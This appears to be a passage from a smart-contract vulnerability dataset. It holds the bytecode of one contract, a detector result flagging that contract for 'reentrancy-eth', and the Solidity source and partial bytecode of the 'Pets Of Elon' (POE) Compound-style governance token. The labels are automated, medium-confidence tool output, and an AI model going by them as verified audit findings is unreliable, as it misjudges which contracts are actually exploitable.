b9992985090965090945050505050565b600080808061186488866118a5565b9050600061187288876118a5565b9050600061188088886118a5565b905060006118928261183f86866116f1565b939b939a50919850919650505050505050565b6000826118b4575060006106a9565b60006118c08385611d91565b9050826118cd8583611d6f565b146112dc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610623565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f357600080fd5b803561195a8161193a565b919050565b6000602080838503121561197257600080fd5b823567ffffffffffffffff8082111561198a57600080fd5b818501915085601f83011261199e57600080fd5b8135818111156119b0576119b0611924565b8060051b604051601f19603f830116810181811085821117156119d5576119d5611924565b6040529182528482019250838101850191888311156119f357600080fd5b938501935b82851015611a1857611a098561194f565b845293850193928501926119f8565b98975050505050505050565b600060208083528351808285015260005b81811015611a5157858101830151858201604001528201611a35565b81811115611a63576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8c57600080fd5b8235611a978161193a565b946020939093013593505050565b600080600060608486031215611aba57600080fd5b8335611ac58161193a565b92506020840135611ad58161193a565b929592945050506040919091013590565b600060208284031215611af857600080fd5b81356112dc8161193a565b8035801515811461195a57600080fd5b600060208284031215611b2557600080fd5b6112dc82611b03565b600060208284031215611b4057600080fd5b5035919050565b60008060008060808587031215611b5d57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8e57600080fd5b833567ffffffffffffffff80821115611ba657600080fd5b818601915086601f830112611bba57600080fd5b813581811115611bc957600080fd5b8760208260051b8501011115611bde57600080fd5b602092830195509350611bf49186019050611b03565b90509250925092565b60008060408385031215611c1057600080fd5b8235611c1b8161193a565b91506020830135611c2b8161193a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cab57611cab611c81565b5060010190565b60008219821115611cc557611cc5611c81565b500190565b600082821015611cdc57611cdc611c81565b500390565b600060208284031215611cf357600080fd5b81516112dc8161193a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4e5784516001600160a01b031683529383019391830191600101611d29565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8c57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dab57611dab611c81565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122000d486edce61d911ce1377659b194685472324572efcfa82df918c82ddc6a33d64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,178
0xddfd85e75713a26023fe709a6ef0408d96c73a75
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; contract POEToken { /// @notice EIP-20 token name for this token string public constant name = "Pets Of Elon"; /// @notice EIP-20 token symbol for this token string public constant symbol = "POE"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint256 public constant totalSupply = 1000000000e18; /// @notice Allowance amounts on behalf of others mapping(address => mapping(address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping(address => uint96) internal balances; /// @notice A record of each accounts delegate mapping(address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping(address => mapping(uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping(address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256( "EIP712Domain(string name,uint256 chainId,address verifyingContract)" ); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping(address => uint256) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged( address indexed delegator, address indexed fromDelegate, address indexed toDelegate ); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged( address indexed delegate, uint256 previousBalance, uint256 newBalance ); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval( address indexed owner, address indexed spender, uint256 amount ); /** * @notice Construct a new Comp token * @param account The initial account to grant all the tokens */ constructor(address account) public { balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint256) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint256(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint256) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom( address src, address dst, uint256 rawAmount ) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96( spenderAllowance, amount, "Comp::transferFrom: transfer amount exceeds spender allowance" ); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) public { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry) ); bytes32 digest = keccak256( abi.encodePacked("\x19\x01", domainSeparator, structHash) ); address signatory = ecrecover(digest, v, r, s); require( signatory != address(0), "Comp::delegateBySig: invalid signature" ); require( nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce" ); require(now <= expiry, "Comp::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint256 blockNumber) public view returns (uint96) { require( blockNumber < block.number, "Comp::getPriorVotes: not yet determined" ); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens( address src, address dst, uint96 amount ) internal { require( src != address(0), "Comp::_transferTokens: cannot transfer from the zero address" ); require( dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address" ); balances[src] = sub96( balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance" ); balances[dst] = add96( balances[dst], amount, "Comp::_transferTokens: transfer amount overflows" ); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates( address srcRep, address dstRep, uint96 amount ) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96( srcRepOld, amount, "Comp::_moveVotes: vote amount underflows" ); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96( dstRepOld, amount, "Comp::_moveVotes: vote amount overflows" ); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes ) internal { uint32 blockNumber = safe32( block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits" ); if ( nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber ) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint( blockNumber, newVotes ); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint256 n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96( uint96 a, uint96 b, string memory errorMessage ) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96( uint96 a, uint96 b, string memory errorMessage ) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint256) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea5714610358578063c3cda52014610388578063dd62ed3e146103a4578063e7a324dc146103d4578063f1127ed8146103f257610121565b806370a082311461027a578063782d6fe1146102aa5780637ecebe00146102da57806395d89b411461030a578063a9059cbb1461032857610121565b806323b872dd116100f457806323b872dd146101b0578063313ce567146101e0578063587cde1e146101fe5780635c19a95c1461022e5780636fcfff451461024a57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806320606b7014610192575b600080fd5b61012e610423565b60405161013b9190612742565b60405180910390f35b61015e6004803603810190610159919061217e565b61045c565b60405161016b919061263d565b60405180910390f35b61017c6105ee565b6040516101899190612824565b60405180910390f35b61019a6105fe565b6040516101a79190612658565b60405180910390f35b6101ca60048036038101906101c5919061212f565b610622565b6040516101d7919061263d565b60405180910390f35b6101e86108b4565b6040516101f59190612883565b60405180910390f35b610218600480360381019061021391906120ca565b6108b9565b6040516102259190612622565b60405180910390f35b610248600480360381019061024391906120ca565b6108ec565b005b610264600480360381019061025f91906120ca565b6108f9565b604051610271919061283f565b60405180910390f35b610294600480360381019061028f91906120ca565b61091c565b6040516102a19190612824565b60405180910390f35b6102c460048036038101906102bf919061217e565b61098b565b6040516102d191906128b9565b60405180910390f35b6102f460048036038101906102ef91906120ca565b610d9a565b6040516103019190612824565b60405180910390f35b610312610db2565b60405161031f9190612742565b60405180910390f35b610342600480360381019061033d919061217e565b610deb565b60405161034f919061263d565b60405180910390f35b610372600480360381019061036d91906120ca565b610e28565b60405161037f91906128b9565b60405180910390f35b6103a2600480360381019061039d91906121ba565b610f16565b005b6103be60048036038101906103b991906120f3565b6111d3565b6040516103cb9190612824565b60405180910390f35b6103dc61127f565b6040516103e99190612658565b60405180910390f35b61040c60048036038101906104079190612243565b6112a3565b60405161041a92919061285a565b60405180910390f35b6040518060400160405280600c81526020017f50657473204f6620456c6f6e000000000000000000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8314156104af577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90506104d4565b6104d183604051806060016040528060258152602001612ab5602591396112fc565b90505b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516105db919061289e565b60405180910390a3600191505092915050565b6b033b2e3c9fd0803ce800000081565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b60008033905060008060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905060006106e485604051806060016040528060258152602001612ab5602591396112fc565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561075e57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6bffffffffffffffffffffffff16826bffffffffffffffffffffffff1614155b1561089b57600061078883836040518060600160405280603d8152602001612b8c603d913961135a565b9050806000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610891919061289e565b60405180910390a3505b6108a68787836113cb565b600193505050509392505050565b601281565b60026020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108f633826117ac565b50565b60046020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b60004382106109cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c6906127a4565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610a3c576000915050610d94565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610b3e57600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff16915050610d94565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610bbf576000915050610d94565b6000806001830390505b8163ffffffff168163ffffffff161115610d16576000600283830363ffffffff1681610bf157fe5b0482039050610bfe612033565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff161415610cee57806020015195505050505050610d94565b86816000015163ffffffff161015610d0857819350610d0f565b6001820392505b5050610bc9565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1693505050505b92915050565b60056020528060005260406000206000915090505481565b6040518060400160405280600381526020017f504f45000000000000000000000000000000000000000000000000000000000081525081565b600080610e1083604051806060016040528060268152602001612ada602691396112fc565b9050610e1d3385836113cb565b600191505092915050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611610e92576000610f0e565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b915050919050565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8666040518060400160405280600c81526020017f50657473204f6620456c6f6e000000000000000000000000000000000000000081525080519060200120610f7e61196c565b30604051602001610f9294939291906126b8565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf888888604051602001610fe39493929190612673565b604051602081830303815290604052805190602001209050600082826040516020016110109291906125eb565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161104d94939291906126fd565b6020604051602081039080840390855afa15801561106f573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e290612764565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055891461117a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611171906127c4565b60405180910390fd5b874211156111bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b490612784565b60405180910390fd5b6111c7818b6117ac565b50505050505050505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b6003602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b60006c0100000000000000000000000083108290611350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113479190612742565b60405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff16111582906113be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b59190612742565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561143b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143290612804565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a2906127e4565b60405180910390fd5b611525600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060368152602001612a7f6036913961135a565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555061160c600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060308152602001612b5c60309139611979565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116d6919061289e565b60405180910390a36117a7600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836119ef565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a46119668284836119ef565b50505050565b6000804690508091505090565b6000808385019050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff16101583906119e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119da9190612742565b60405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a3957506000816bffffffffffffffffffffffff16115b15611ce557600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b91576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611adc576000611b58565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611b7f8285604051806060016040528060288152602001612b346028913961135a565b9050611b8d86848484611cea565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ce4576000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611c2f576000611cab565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611cd28285604051806060016040528060278152602001612bc960279139611979565b9050611ce085848484611cea565b5050505b5b505050565b6000611d0e43604051806060016040528060348152602001612b0060349139611fdd565b905060008463ffffffff16118015611da357508063ffffffff16600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15611e3e5781600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550611f86565b60405180604001604052808263ffffffff168152602001836bffffffffffffffffffffffff16815250600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555090505060018401600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611fce9291906128d4565b60405180910390a25050505050565b600064010000000083108290612029576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120209190612742565b60405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160006bffffffffffffffffffffffff1681525090565b60008135905061207081612a0b565b92915050565b60008135905061208581612a22565b92915050565b60008135905061209a81612a39565b92915050565b6000813590506120af81612a50565b92915050565b6000813590506120c481612a67565b92915050565b6000602082840312156120dc57600080fd5b60006120ea84828501612061565b91505092915050565b6000806040838503121561210657600080fd5b600061211485828601612061565b925050602061212585828601612061565b9150509250929050565b60008060006060848603121561214457600080fd5b600061215286828701612061565b935050602061216386828701612061565b92505060406121748682870161208b565b9150509250925092565b6000806040838503121561219157600080fd5b600061219f85828601612061565b92505060206121b08582860161208b565b9150509250929050565b60008060008060008060c087890312156121d357600080fd5b60006121e189828a01612061565b96505060206121f289828a0161208b565b955050604061220389828a0161208b565b945050606061221489828a016120b5565b935050608061222589828a01612076565b92505060a061223689828a01612076565b9150509295509295509295565b6000806040838503121561225657600080fd5b600061226485828601612061565b9250506020612275858286016120a0565b9150509250929050565b61228881612924565b82525050565b61229781612936565b82525050565b6122a681612942565b82525050565b6122bd6122b882612942565b6129f0565b82525050565b60006122ce826128fd565b6122d88185612908565b93506122e88185602086016129bd565b6122f1816129fa565b840191505092915050565b6000612309602683612908565b91507f436f6d703a3a64656c656761746542795369673a20696e76616c69642073696760008301527f6e617475726500000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061236f602683612908565b91507f436f6d703a3a64656c656761746542795369673a207369676e6174757265206560008301527f78706972656400000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006123d5600283612919565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b6000612415602783612908565b91507f436f6d703a3a6765745072696f72566f7465733a206e6f74207965742064657460008301527f65726d696e6564000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061247b602283612908565b91507f436f6d703a3a64656c656761746542795369673a20696e76616c6964206e6f6e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006124e1603a83612908565b91507f436f6d703a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008301527f616e7366657220746f20746865207a65726f20616464726573730000000000006020830152604082019050919050565b6000612547603c83612908565b91507f436f6d703a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008301527f616e736665722066726f6d20746865207a65726f2061646472657373000000006020830152604082019050919050565b6125a98161296c565b82525050565b6125b881612976565b82525050565b6125c781612986565b82525050565b6125d6816129ab565b82525050565b6125e581612993565b82525050565b60006125f6826123c8565b915061260282856122ac565b60208201915061261282846122ac565b6020820191508190509392505050565b6000602082019050612637600083018461227f565b92915050565b6000602082019050612652600083018461228e565b92915050565b600060208201905061266d600083018461229d565b92915050565b6000608082019050612688600083018761229d565b612695602083018661227f565b6126a260408301856125a0565b6126af60608301846125a0565b95945050505050565b60006080820190506126cd600083018761229d565b6126da602083018661229d565b6126e760408301856125a0565b6126f4606083018461227f565b95945050505050565b6000608082019050612712600083018761229d565b61271f60208301866125be565b61272c604083018561229d565b612739606083018461229d565b95945050505050565b6000602082019050818103600083015261275c81846122c3565b905092915050565b6000602082019050818103600083015261277d816122fc565b9050919050565b6000602082019050818103600083015261279d81612362565b9050919050565b600060208201905081810360008301526127bd81612408565b9050919050565b600060208201905081810360008301526127dd8161246e565b9050919050565b600060208201905081810360008301526127fd816124d4565b9050919050565b6000602082019050818103600083015261281d8161253a565b9050919050565b600060208201905061283960008301846125a0565b92915050565b600060208201905061285460008301846125af565b92915050565b600060408201905061286f60008301856125af565b61287c60208301846125dc565b9392505050565b600060208201905061289860008301846125be565b92915050565b60006020820190506128b360008301846125cd565b92915050565b60006020820